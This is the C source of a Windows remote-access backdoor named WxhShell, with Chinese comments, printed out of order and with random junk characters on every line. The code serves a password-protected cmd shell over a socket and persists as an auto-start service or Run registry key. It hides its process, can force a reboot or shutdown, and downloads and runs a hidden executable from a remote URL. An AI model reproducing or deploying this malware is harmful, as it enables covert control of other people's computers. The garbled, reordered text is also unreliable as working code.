    if(Boot(SHUTDOWN)) g5*?2D}dqX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /?}2OCq  
    else { aT BFF  
    closesocket(wsh); i\o * =+{r  
    ExitThread(0); CH5>u  
    } d?/>Qqw:#  
    break; SPtx_+ Q)S  
    } K4OiKYq  
  // 获取shell =pnQ?2Og  
  case 's': { x,GLGGi}_x  
    CmdShell(wsh); p.x2R,CU  
    closesocket(wsh); nrbP3sf*  
    ExitThread(0); <2O XXQ1  
    break; o ethO  
  } RE08\gNIt  
  // 退出 H,LJ$ py  
  case 'x': { ,!P}Y[|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); bb-u'"5^]  
    CloseIt(wsh); O! _d5r&,  
    break; KNOVb=# f_  
    } *lQa^F  
  // 离开 caV DV  
  case 'q': { OLqynY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fn{Pmo*rs  
    closesocket(wsh); lZ) qV!<  
    WSACleanup(); U7-*]ik  
    exit(1); f#gV>.P;h\  
    break; 2_)gJ_kP  
        } @H}Hjg_>m  
  } 9d!mGnl  
  } nt%p@e!,  
Hv%$6,/*v  
  // 提示信息 V$dhiP z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BW"24JhF"  
} x]t$Zb/Uxa  
  } v'r)d-T   
A!R'/m'VG  
  return; c Ze59  
} kX+98?h-C  
aF>&X-2  
// shell模块句柄 `^h:} V  
int CmdShell(SOCKET sock) q*cEosi'F?  
{ r^ABu_u(`I  
STARTUPINFO si; 0: B%,n UM  
ZeroMemory(&si,sizeof(si)); Sar1NkD#  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .=9d3uWJ/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4`") aM  
PROCESS_INFORMATION ProcessInfo; e -b>   
char cmdline[]="cmd"; GH`y-Ul'K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4^:$|\?]  
  return 0; (ki= s+W-  
} 0!tuUn  
rU 1Ri  
// 自身启动模式 /NxuNi;5  
int StartFromService(void) "|V}[ 2  
{ 8O[l[5u&  
typedef struct be?Bf^O>  
{ [* @ +  
  DWORD ExitStatus; eDvh3Y<D  
  DWORD PebBaseAddress; `oM'H+  
  DWORD AffinityMask;  "+Sq}WR  
  DWORD BasePriority; _z9~\N/@[  
  ULONG UniqueProcessId; 1X9J[5|ll  
  ULONG InheritedFromUniqueProcessId; |f(*R_R  
}   PROCESS_BASIC_INFORMATION; "akAGa!V+  
Zx7aae_{  
PROCNTQSIP NtQueryInformationProcess; c6SXz%'k  
kU.@HJ[@j  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =T1Xfib  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,T;D33XV  
zMd><UQP{  
  HANDLE             hProcess; %Hhk 6tR,  
  PROCESS_BASIC_INFORMATION pbi; Ty7)j]b"zl  
RF~G{wz  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0?O_]SD  
  if(NULL == hInst ) return 0;  2IGU{&s  
sd =bw  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); d]N_<@tx9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }c>vk  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >P//]nn  
jB l$r{L  
  if (!NtQueryInformationProcess) return 0; gAf4wq  
!T 9CpIM%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <2~DI0pp(  
  if(!hProcess) return 0; .i^ @v<+  
>7~,w1t  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ngI+afo   
"<^n@=g'q  
  CloseHandle(hProcess); X-J85b_e  
*kcc]*6@s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 6~x a^3G:  
if(hProcess==NULL) return 0; =&(e*u_  
5".bM8o  
HMODULE hMod; @.`k2lxGd~  
char procName[255]; '(g;nU<  
unsigned long cbNeeded; m_,Jbf  
cvhwd\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); XL'\$f  
yB 'C9wEH  
  CloseHandle(hProcess); +wQ}ZP&  
2b-g`60<  
if(strstr(procName,"services")) return 1; // 以服务启动 u6| IKZ  
k4E9=y?  
  return 0; // 注册表启动 ,s2C)bb-  
} Kf_xKW)^  
7PBE(d%m  
// 主模块 ~$hR:I1  
int StartWxhshell(LPSTR lpCmdLine) emB<{kOkw  
{ T8x8TN"  
  SOCKET wsl; 1kR. .p<"  
BOOL val=TRUE; B]E c  
  int port=0; #^R@EZ  
  struct sockaddr_in door; ;zV<63tW  
uX]]wj-R3  
  if(wscfg.ws_autoins) Install(); <K,X5ctM}  
eZ-fy,E  
port=atoi(lpCmdLine); @u: `  
w~Nat7nD  
if(port<=0) port=wscfg.ws_port; Cpy&2o-%v  
TQ0ZBhd  
  WSADATA data; Sw5:T  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 5HE5$S  
bOp%  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D5f[:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (h g6<`  
  door.sin_family = AF_INET; 8Op^6rX4  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); jzBW'8  
  door.sin_port = htons(port); _*b`;{3  
leI ]zDk=  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { %~8f0B|im  
closesocket(wsl); S ?J(VJqE  
return 1; pZ3sp!  
} T<NOL fk66  
#f/4%|t:  
  if(listen(wsl,2) == INVALID_SOCKET) { 99CK [G  
closesocket(wsl); sLXM$SMBh  
return 1; b;#_?2c  
} $)BPtGMGo  
  Wxhshell(wsl); rK`^A  
  WSACleanup(); \7pEn  
^:}C,lIrG  
return 0; y6x./1Nb}<  
FK94CI  
} WWH<s%C  
NffKK:HvBB  
// 以NT服务方式启动 p<}y'7(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ,v#n\LD`  
{ dUl"w`3  
DWORD   status = 0; kqxq'Aq)d  
  DWORD   specificError = 0xfffffff; pl)?4[`LUc  
AO|1m$xf  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^u1Nbo  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U^%)BI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; c~;VvYu  
  serviceStatus.dwWin32ExitCode     = 0; X.[bgvm~C  
  serviceStatus.dwServiceSpecificExitCode = 0; cMnN} '  
  serviceStatus.dwCheckPoint       = 0; " a,4E{7  
  serviceStatus.dwWaitHint       = 0; !$>b}w'  
*+2_!=4V  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @!O(%0 =  
  if (hServiceStatusHandle==0) return; DT)] [V^w  
 ;Q4,I[?%  
status = GetLastError(); aDxNAfP  
  if (status!=NO_ERROR) AXSip  
{ YRr,{[e  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DuDt'^]  
    serviceStatus.dwCheckPoint       = 0; o?Cc  
    serviceStatus.dwWaitHint       = 0; 2N]8@a  
    serviceStatus.dwWin32ExitCode     = status; .Dl ?a>I  
    serviceStatus.dwServiceSpecificExitCode = specificError; -3azA7tzz  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); WVK AA.  
    return; 23`salLclG  
  } r<Cr)%z!  
o0S 8ki  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %*wEzvt *  
  serviceStatus.dwCheckPoint       = 0; HW,v"  
  serviceStatus.dwWaitHint       = 0; x?0K'  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); l^B4.1rT  
} )pT5"{  
F]r'j ZL  
// 处理NT服务事件,比如:启动、停止 @TX@78fWz=  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )*{B_[  
{ /h.{g0Xc  
switch(fdwControl) 96QY0  
{ CSq|R-@< U  
case SERVICE_CONTROL_STOP: ksuePMIK  
  serviceStatus.dwWin32ExitCode = 0; N-knhA  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; e84%Y8,0  
  serviceStatus.dwCheckPoint   = 0; 0GeL">v,:=  
  serviceStatus.dwWaitHint     = 0; \AA9 m'BZ  
  { NH}o`x/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _>kc:  
  } XMT@<'fI  
  return; y 5=r r3%v  
case SERVICE_CONTROL_PAUSE: !>80p~L  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /j4G}  
  break; F kf4R5Y?  
case SERVICE_CONTROL_CONTINUE: 8>6<GdGL<n  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; VP^Yf_  
  break; Z f<T`'_d  
case SERVICE_CONTROL_INTERROGATE: =>tkc/aa  
  break; S.1>bs2  
}; Ol+D"k~<C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]?wz.  
} hfyU}`]  
!K}W.yv,  
// 标准应用程序主函数 `BG>%#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vt *  
{ ~ss6yQ$  
g52)/HM  
// 获取操作系统版本 JJSE@$",\  
OsIsNt=GetOsVer(); C58o="L3S  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W|2|v?v  
7Re\*[)T  
  // 从命令行安装 CMOyK^(e  
  if(strpbrk(lpCmdLine,"iI")) Install(); CM++:Y vJ  
lqJ92vi6Q  
  // 下载执行文件 xT*c##  
if(wscfg.ws_downexe) { <!UnH6J.b  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kh2TDxa&  
  WinExec(wscfg.ws_filenam,SW_HIDE); PsXCpyY!s  
} FdzdoMY  
'ROz|iJ  
if(!OsIsNt) { ,*d8T7T  
// 如果时win9x,隐藏进程并且设置为注册表启动 SlR//h  
HideProc(); ZAN~TG<n  
StartWxhshell(lpCmdLine); >(.|oT\Tb  
} =#y;J(>~|  
else jG;J qT  
  if(StartFromService()) {cIk-nG -_  
  // 以服务方式启动 EK"/4t{L_  
  StartServiceCtrlDispatcher(DispatchTable); OW\vbWX  
else 87+fd_G  
  // 普通方式启动 R#;xBBt8  
  StartWxhshell(lpCmdLine); ( B\ UZb  
~h Dp-R;  
return 0; a EIz,^3  
} S\:+5}  
1 Ga3[ g  
R5^6Kwu  
E&y)`>Nq{  
=========================================== M."/"hV`-  
([>__c/Nd  
J9*;Bqzim  
]j6pd*H  
)lS04|s  
`Ng Q>KV!  
" _LC*_LT_  
]k7%p>c=B  
#include <stdio.h> 37a1O>A  
#include <string.h> z+6PVQ  
#include <windows.h> A-=hvJ5T  
#include <winsock2.h> Xnjl {`  
#include <winsvc.h> [w@S/K[_|  
#include <urlmon.h> GU2TQx{V  
C12V_)~2  
#pragma comment (lib, "Ws2_32.lib") |/n7(!7$[v  
#pragma comment (lib, "urlmon.lib") ^tG,H@95  
\X %FM"r  
#define MAX_USER   100 // 最大客户端连接数 ``VE<:2+  
#define BUF_SOCK   200 // sock buffer i.)n#@M2  
#define KEY_BUFF   255 // 输入 buffer !<=zFy[J.9  
n(eo_.W2|  
#define REBOOT     0   // 重启 5!qf{4j  
#define SHUTDOWN   1   // 关机 *p\Zc*N;%  
z`E=V  
#define DEF_PORT   5000 // 监听端口 K2xHXziQ  
: q%1Vi  
#define REG_LEN     16   // 注册表键长度 tNzO1BK  
#define SVC_LEN     80   // NT服务名长度 np6G~0Y`  
2v4K3O60G  
// 从dll定义API } f&=}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Zf!Q4a"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,;w~ VZ4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Y]0c%Fd  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sV{\IgH/x  
"D_:`@V(  
// wxhshell配置信息 59l9_yFJ  
struct WSCFG { v :/!OvLe  
  int ws_port;         // 监听端口 $u~ui@kB  
  char ws_passstr[REG_LEN]; // 口令 Q> y!  
  int ws_autoins;       // 安装标记, 1=yes 0=no _1G/qHf^S  
  char ws_regname[REG_LEN]; // 注册表键名 &k}B66  
  char ws_svcname[REG_LEN]; // 服务名 >(igVaZ>  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 S 4 17.n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 U~7udUR  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 V^[&4  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <Y}m/-sD5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q`AlK"G,  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 1#_ pj eG  
|w*s:p  
}; Fd<Ouyxqe  
mL`8COA  
// default Wxhshell configuration ,IboPh&Q78  
struct WSCFG wscfg={DEF_PORT, |LQ%sV  
    "xuhuanlingzhe", ]j/= x2p  
    1, *,lDo9  
    "Wxhshell", k"DZ"JC  
    "Wxhshell", CA`V)XIsP  
            "WxhShell Service", }O@>:?U  
    "Wrsky Windows CmdShell Service", GyQFR?  
    "Please Input Your Password: ", /K&9c !]$C  
  1, Q?>r:vMi  
  "http://www.wrsky.com/wxhshell.exe", e3CFW_p  
  "Wxhshell.exe" ky[Cx!81C  
    }; oOI0q_bf  
z[_Y,I  
// 消息定义模块 ]i`Q+q[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C$+Q,guM  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 0O`Rh"O  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; yVK ; "  
char *msg_ws_ext="\n\rExit."; N^oP,^+U  
char *msg_ws_end="\n\rQuit."; HLPRTta.  
char *msg_ws_boot="\n\rReboot..."; %pjeA[-m#  
char *msg_ws_poff="\n\rShutdown..."; IL.bwt pQD  
char *msg_ws_down="\n\rSave to "; SEzjc ~@3  
,ESli/6  
char *msg_ws_err="\n\rErr!"; f]%S FQ+  
char *msg_ws_ok="\n\rOK!"; h?n?3x!(  
3R%JmLM+R9  
char ExeFile[MAX_PATH]; w(ZZTVW-  
int nUser = 0; GZrN,M  
HANDLE handles[MAX_USER]; hfY/)-60o  
int OsIsNt; Fn`Zw:vp6  
h]&  
SERVICE_STATUS       serviceStatus; Qv ~@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b; C}=gg  
4lX_2QT]E  
// 函数声明 unn2I|XH  
int Install(void); p!:oT1U  
int Uninstall(void); d<j`=QH  
int DownloadFile(char *sURL, SOCKET wsh); Wgte.K> /  
int Boot(int flag); ?o+%ckH  
void HideProc(void); PsNrCe%e  
int GetOsVer(void); COHBju fmR  
int Wxhshell(SOCKET wsl); tUULpx.h  
void TalkWithClient(void *cs); GV1Ol^  
int CmdShell(SOCKET sock); (VM CVZ  
int StartFromService(void); Q<V1`e  
int StartWxhshell(LPSTR lpCmdLine); XTF[4#WO  
)YEAk@h@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); W>w(|3\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); EL3X8H  
`(?c4oq,c>  
// 数据结构和表定义 l]zQSXip  
SERVICE_TABLE_ENTRY DispatchTable[] = @uRJl$3  
{ _w?!Mu  
{wscfg.ws_svcname, NTServiceMain}, bv]SR_Tiq  
{NULL, NULL} nrev!h  
}; ^ fC2o%3^  
zKJQel5  
// 自我安装 <CO_JWD  
int Install(void) y ]@JkF(  
{ sNpA!!\PM  
  char svExeFile[MAX_PATH]; 6}R*7iM s  
  HKEY key; Qm3F=*)d  
  strcpy(svExeFile,ExeFile); B6IKD  
nm<VcCc  
// 如果是win9x系统,修改注册表设为自启动 AzJ;E tR  
if(!OsIsNt) { o[Qb/ 7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { GP4!t~"1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \f4rA?+f  
  RegCloseKey(key); 4bL *7bA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *\'t$se+  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); T$u'+* Xx  
  RegCloseKey(key); xf;>o$oN0P  
  return 0; UJqh~s  
    } YL|)`m0-^5  
  } 084Us s  
} T<Xw[PEnP  
else { u4 es8"  
1\@PrO35J  
// 如果是NT以上系统,安装为系统服务 ["&{^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }Em{?Hqy  
if (schSCManager!=0) 00i MU  
{ H:hM(m0?q  
  SC_HANDLE schService = CreateService D mi.@.  
  ( Z HZxr  
  schSCManager, , 2#Q >  
  wscfg.ws_svcname, dO z|CfUhI  
  wscfg.ws_svcdisp, |z3!3?%R  
  SERVICE_ALL_ACCESS, ,|yscp8  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ;Z0&sFm  
  SERVICE_AUTO_START, O0'|\:my  
  SERVICE_ERROR_NORMAL, O6?{@l  
  svExeFile, y{3+Un  
  NULL, R3og]=uFzm  
  NULL, AC <2.i_  
  NULL, U { 0~&  
  NULL, a"YVr'|  
  NULL 9jf9 u0  
  ); P,m+^,  
  if (schService!=0) 5L2j, ]  
  { o>(<:^x9  
  CloseServiceHandle(schService); .^=I&X/P  
  CloseServiceHandle(schSCManager); K:< Viz  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =TEe:%mN  
  strcat(svExeFile,wscfg.ws_svcname); :35h0;8+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @a]cI  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3t+{~{Dj  
  RegCloseKey(key); M/.M~/ ~  
  return 0; BQWg L  
    } KxKZC }4m  
  } fgL"\d}  
  CloseServiceHandle(schSCManager); E)m \KSwh  
} Dx /w&v  
}  \H>T[  
,_(=w.F   
return 1; ~cp=B>*(  
} Ww8U{f  
)?radg  
// 自我卸载 `_)9eGQ  
int Uninstall(void) U}X'RCM  
{ JXkx!X_{  
  HKEY key; vjGJRk|XED  
=/a`X[9vI  
if(!OsIsNt) { b*S,8vE]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,{:qbt  
  RegDeleteValue(key,wscfg.ws_regname); eSObOG/  
  RegCloseKey(key); VFZyWX@#u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Gev\bQa  
  RegDeleteValue(key,wscfg.ws_regname); p#4*:rpq4  
  RegCloseKey(key); |=:@<0.'  
  return 0; X:`=\D  
  } bQI :N  
} ]7k:3"wH  
} a'Cny((  
else { $H3C/|  
dkEbP*y Xg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xzY/$?  
if (schSCManager!=0)  y_[VhZ%  
{ ={cM6F}a@  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CZ] Dm4  
  if (schService!=0) mB0`>?#i  
  { R&t2   
  if(DeleteService(schService)!=0) { Z)xcxSo  
  CloseServiceHandle(schService); : ^}!"4{  
  CloseServiceHandle(schSCManager); y'2w*?  
  return 0; kb~ s, @p  
  } Oz\J+  
  CloseServiceHandle(schService); ,)\G<q yO6  
  } ]5 ]wyDj  
  CloseServiceHandle(schSCManager); AX+]Z$  
} E%E`\mFD  
} "&D0Sd@[?  
|wb_im  
return 1; H&*&n}vh5y  
} I&15[:b=-  
}vB{6E+h/w  
// 从指定url下载文件 W^[QEmyn  
int DownloadFile(char *sURL, SOCKET wsh) !p\ @1?  
{ /J-.K*xKt  
  HRESULT hr; &,p6lbP  
char seps[]= "/"; n3V$Xtxw  
char *token; M-Vz$D/aed  
char *file; R$}Hv  
char myURL[MAX_PATH]; D8w.r"ne  
char myFILE[MAX_PATH]; ?\4kV*/Cqz  
$Nvox<d0  
strcpy(myURL,sURL); )2W7>PY  
  token=strtok(myURL,seps); -u~:Gd*l0  
  while(token!=NULL) U<XfO'XJ  
  { GfP'  
    file=token; En-=z`j G  
  token=strtok(NULL,seps); Y=sv   
  } F\;l)  
JM0+-,dl[  
GetCurrentDirectory(MAX_PATH,myFILE); Z[z" v  
strcat(myFILE, "\\"); kd&~_=Q  
strcat(myFILE, file); #]i^L;u1A  
  send(wsh,myFILE,strlen(myFILE),0); jZ5ac=D&I  
send(wsh,"...",3,0); \Qnr0t@0  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 2|exY>`w  
  if(hr==S_OK) m|?1HCRXRI  
return 0; V0,5c`H c  
else /;q 3Q#  
return 1; ;H%'K  
,{iMF (Nj  
} po]<sB  
g] IPNW^n  
// 系统电源模块 i/8OC  
int Boot(int flag) p|0SA=?k"  
{ >3p8o@:  
  HANDLE hToken; *hFJI9G  
  TOKEN_PRIVILEGES tkp; UDk H'x$=  
+('xzW  
  if(OsIsNt) { e5FF'~A%]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s;Zi   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  56C'<#  
    tkp.PrivilegeCount = 1; _8`S&[E?  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; P%w!4v ~"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |,.1=|&u  
if(flag==REBOOT) { ~|{e"!(}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6eB~S)Ko  
  return 0; V.Lk70 \  
} @Py'SH!-  
else { I )% bOK]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) [ot+EA  
  return 0; 6x!iL\Y~  
} F DGzh/  
  } XI ><;#  
  else { Bz,Xg-k+  
if(flag==REBOOT) { Y>nQ<  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 4|j Pr J  
  return 0; HuA4eJ(2  
} N1:)Z`r  
else { :=quCzG  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) i-95>ff  
  return 0; 8*VQw?{Uee  
} c2gZ<[~  
} NS x-~)  
) TNG0[  
return 1; qMO(j%N5  
} 0yUn~'+(Sp  
iy8Ln,4z(  
// win9x进程隐藏模块 %&'[? LXD  
void HideProc(void) 7|ACJv6%9  
{ V2m= m}HQ  
.)t*!$5=N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); (LVzE_`  
  if ( hKernel != NULL ) ,4,./wIq  
  { @Ko}Td&E(  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =ZV+*cCC=q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); dt=M#+g  
    FreeLibrary(hKernel); lH,/N4 r*&  
  } [m<8SOMG(  
C1YH\ X(r  
return; n;.);  
} 4Dd]:2|D  
/GNm>NSK  
// 获取操作系统版本 O+DYh=m*p  
int GetOsVer(void) T!&VT;   
{ d<cQYI4V  
  OSVERSIONINFO winfo; |mw3v>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); oBPm^ob4  
  GetVersionEx(&winfo); >T14 J'\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y]k{u\2A  
  return 1; ,}^;q58  
  else *'@T+$3s  
  return 0; ? a*yK8S  
} @C~gU@F  
+=kz".$  
// 客户端句柄模块 2-#&ktM%V  
int Wxhshell(SOCKET wsl) \gir  
{ Jjx1`S*i  
  SOCKET wsh; >ISBK[=H  
  struct sockaddr_in client; )RT:u)N  
  DWORD myID; l n09_Lr  
S; !7 /z  
  while(nUser<MAX_USER) 6I5LZ^/G9  
{ ~NK|q5(I  
  int nSize=sizeof(client); `4|:8@,3{  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ph7]*W-  
  if(wsh==INVALID_SOCKET) return 1; r;zG  
7x$VH5jie#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Fy^8]u*Fu  
if(handles[nUser]==0) V$  MMK  
  closesocket(wsh); Ez^wK~  
else Q"GZh.m  
  nUser++; ML1/1GK*i+  
  } R8, g^N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); cEPqcy *  
2B=BRVtSs  
  return 0; Pfg.'Bl  
} n 8)eC2 A  
+39p5O!  
// 关闭 socket $)j f  
void CloseIt(SOCKET wsh) cD<5~`l  
{ ~5~Cpu2v7  
closesocket(wsh); SivJaY%  
nUser--; 0{47TX*YX  
ExitThread(0); w"h3e  
} KD..X~Me  
=|3*Y0  
// 客户端请求句柄 T$Rf  
void TalkWithClient(void *cs) c38ENf  
{  }}d,xI  
WSx0o}  
  SOCKET wsh=(SOCKET)cs; { =IAS}  
  char pwd[SVC_LEN]; E*UE?4FSw|  
  char cmd[KEY_BUFF]; p}a0z?  
char chr[1]; v==/tr)  
int i,j; CDG,l7  
N MH'4R  
  while (nUser < MAX_USER) { CGZ3-OW@E  
U!524"@%U`  
if(wscfg.ws_passstr) { p,S/-ph  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U;Q?Rh- W  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z2I2 [pA  
  //ZeroMemory(pwd,KEY_BUFF); ! X<dN..  
      i=0; ?Lquf&`vP  
  while(i<SVC_LEN) { `mDCX  
6"U$H$i.G  
  // 设置超时 `R_;n#3F0  
  fd_set FdRead; iq`caoi  
  struct timeval TimeOut; 5}'W8gV?  
  FD_ZERO(&FdRead); Nb/Z+  
  FD_SET(wsh,&FdRead); vqJq=\ .m  
  TimeOut.tv_sec=8; ~|8-Mo1ce  
  TimeOut.tv_usec=0; 2fMKS  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); S,qEKWyLd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); jtQ}  
OP\m~1  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 9at_F'> R  
  pwd=chr[0]; I73=PfS:m  
  if(chr[0]==0xd || chr[0]==0xa) { t|}}#Z!I[f  
  pwd=0; pn aSOyR  
  break; /9@ VnM  
  } @A8@j%CK1  
  i++; sk~inIj-  
    } U~Rs?JmTdD  
2$yNryd  
  // 如果是非法用户,关闭 socket LCemM;o  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); y3@5~4+  
} _ v3VUm#  
Hus.Jfam  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Pbl#ieZM  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )&.Zxo;q=  
OCbwV7q:  
while(1) { }6 Mo C0  
wp>L}!  
  ZeroMemory(cmd,KEY_BUFF); \~I>@SG2W+  
G57c 8}\4  
      // 自动支持客户端 telnet标准   h~u|v[@{J  
  j=0; vW`[CEm^X  
  while(j<KEY_BUFF) { +E }q0GV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +;N;r/d_i  
  cmd[j]=chr[0]; ?4YLt|sn  
  if(chr[0]==0xa || chr[0]==0xd) { \vqqs  
  cmd[j]=0; k[5:]5lp+  
  break; v1\/dQK  
  } C?t!Uvs  
  j++; ^_G@a,  
    } gE~LPwM  
)i$KrN6  
  // 下载文件 ({WV<T&  
  if(strstr(cmd,"http://")) { 4~z-&>%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H[U"eS."  
  if(DownloadFile(cmd,wsh)) NWII?X#T}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F4 =V* /7  
  else I@:"Qee  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b VcA#7 uA  
  } &/-}`hIAT  
  else { Z90]I<a~  
Nd%j0lj  
    switch(cmd[0]) { j},3@TFh  
  9 f= ~E8P  
  // 帮助 :HkX sZ  
